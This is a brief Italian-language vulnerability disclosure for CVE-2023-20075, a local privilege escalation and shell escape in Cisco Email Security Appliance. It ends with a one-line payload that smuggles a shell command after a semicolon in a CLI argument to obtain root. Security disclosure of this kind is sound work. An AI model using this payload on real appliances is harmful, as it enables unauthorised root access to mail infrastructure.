
Cisco Email Security Appliance: Escalation dei Privilegi Locale e Fuga dalla Shell
Ricercatore di sicurezza: ly1g3, ly1g3[at]tuta.io
Impronta GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Panoramica: Escalation dei privilegi locali e shell escape
CVE: CVE-2023-20075
Cronologia:
ESA (Cisco Secure Email)
Un utente autenticato con accesso alla cli può elevare i privilegi a root ed eseguire codice arbitrario
logcollector36;/bin/sh/data/release/phoebe-14*/bin/runas 0 /bin/sh